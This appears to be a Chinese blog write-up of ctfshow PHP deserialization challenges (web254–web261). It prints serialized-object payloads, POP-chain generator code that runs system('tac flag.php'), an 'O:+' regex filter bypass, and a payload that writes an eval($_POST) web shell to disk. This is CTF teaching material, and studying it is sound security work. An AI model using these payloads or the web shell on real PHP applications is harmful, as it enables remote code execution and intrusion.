ctfshow php反序列化

web254

image-20260331134541947

这道题考察属性的赋值,要求传入的username、password和ctfshowuser类的username、password相等,这里的账户密码已经写出来了,直接传参拿flag

image-20260331135614368

web255

image-20260331140719352

和上一道题差不多,但它没有自己去new一个ctfShowUser对象,而是让user等于cookie传参的反序列化,所以我们要把ctfShowUser先进行序列化,这里要手动把vip赋值为1

image-20260331142947371

得到payload

O:11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:1;}

然后记得url编码一下防止被截断

image-20260331142925324

web256

image-20260331143338432

这道题和上一道题大体相似,但这里要求username和password不能一致,那我们序列化的时候手动或改一下就行了

image-20260331143656269

得到payload

O:11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:5:"xxxxx";s:5:"isVip";b:1;}

再url编码一下

image-20260331143809166

web257

image-20260331144735703

很基础的一个pop链,这里我们在构建时先把$isVip的值自己变成true,然后再把类中实例化的对象变成可利用的类,最后把backdoor类里的code变成想执行的代码

<?php
class ctfShowUser{
    private $isVip=true;
    private $class;

    public function __construct(){
        $this->class=new backDoor();
    }
}

class backDoor{
    private $code="system('tac flag.php');";
}

$user=new ctfShowUser();
$a=serialize($user);
echo urlencode($a);

得到payload

O%3A11%3A%22ctfShowUser%22%3A2%3A%7Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A1%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D

image-20260331193737217

web258

image-20260331194106766

和上一题差不多,但这道题的属性全变回了public而且多了正则表达式/[oc]:\d+:/i

正则表达式拆解:

  • [oc]:匹配字母 o 或者 c
  • ::匹配一个英文冒号。
  • \d+:匹配一个或多个数字\d 代表数字,+ 代表至少出现一次)。
  • ::再匹配一个英文冒号。
  • i(最后的修饰符):代表不区分大小写(Case-insensitive)。也就是说,大写的 OC 和小写的 oc 都会被匹配。

但这个正则是必须全部连在一起都匹配上了才会返回1,就比如单个O,是不会被匹配上的,必须O:11:这样的格式才会被匹配,那我们修改上一题的payload,然后在O后面的数字前加上+就行了

<?php
class ctfShowUser{
    public $isVip=true;
    public $class;

    public function __construct(){
        $this->class=new backDoor();
    }

}

class backDoor{
    public $code="system('tac flag.php');";
}

$user=new ctfShowUser();
$a=serialize($user);
echo $a;
echo urlencode($a);

得到payload

O%3A%2B11%3A%22ctfShowUser%22%3A2%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D

image-20260331195800590

web260

image-20260331200307003

这道题只要求序列化后含有ctfshow_i_love_36D就行

<?php
$a='ctfshow_i_love_36D';
var_dump(serialize($a));

会得到

image-20260331200713111

所以我们直接传ctfshow_i_love_36D进去就行了(不一定只有对象才能序列化)

image-20260331200802011

web261

image-20260331201214988

在 PHP 7.4 版本引入了一个新机制:如果一个类里面定义了 __unserialize() 这个魔术方法,PHP 的反序列化引擎就会改变它原本的工作流。

  • 以前的旧流程(如果有 __wakeup): PHP 把字符串里的属性一个一个强行塞进对象里,然后调用 __wakeup() 让你醒醒。
  • 现在的新流程(有了 __unserialize): PHP 解析你的序列化字符串,把它里面包含的属性名和属性值,自动打包成一个关联数组(Array)。然后,PHP 会把这个组装好的数组,直接作为参数传给 __unserialize($data) 里的 $data

举个具体的例子

假设你构造了这样一个普通的序列化字符串(随便举的例子): O:10:"ctfshowvip":2:{s:8:"username";s:5:"admin";s:8:"password";s:4:"1234";}

当 PHP 处理这串数据时,它发现类里有 __unserialize(),它就会在底层做这样一步转换: 把大括号里的内容变成一个数组:

PHP

$data = [
    'username' => 'admin',
    'password' => '1234'
];

紧接着,PHP 就会自动帮你执行: $this->__unserialize($data);

此时,代码里的 $data['username'] 拿到的就是 'admin'$data['password'] 拿到的就是 '1234'

在php7.4版本之后,当类里同时存在__wakeup__unserialize时,会跳过__wakeup

这道题的__invoke是无法利用的,我们要用file_put_contents写入文件

这里用的是==的弱比较,0x36d是877,所以只要是877.abc这类都能被比较,因为它会从左往右提取到不是数字的位置,然后再利用前面的数字进行比较,所以我们构造代码

<?php
class ctfshowvip{
    public $username='877.php';
    public $password='<?php eval($_POST[1]);?>';

}
$user = new ctfshowvip(); 
$a = serialize($user);
echo urlencode($a);

得到payload

O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D

image-20260331204243565

image-20260331204429627

标签: none

添加新评论